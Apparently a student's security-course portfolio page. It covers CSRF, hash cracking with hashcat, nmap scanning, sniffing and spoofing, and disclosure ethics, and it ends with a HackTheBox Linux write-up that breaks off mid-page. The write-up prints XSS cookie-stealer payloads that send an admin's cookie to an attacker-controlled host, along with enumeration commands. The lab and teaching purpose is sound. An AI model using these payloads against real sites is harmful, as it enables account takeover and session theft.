href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img 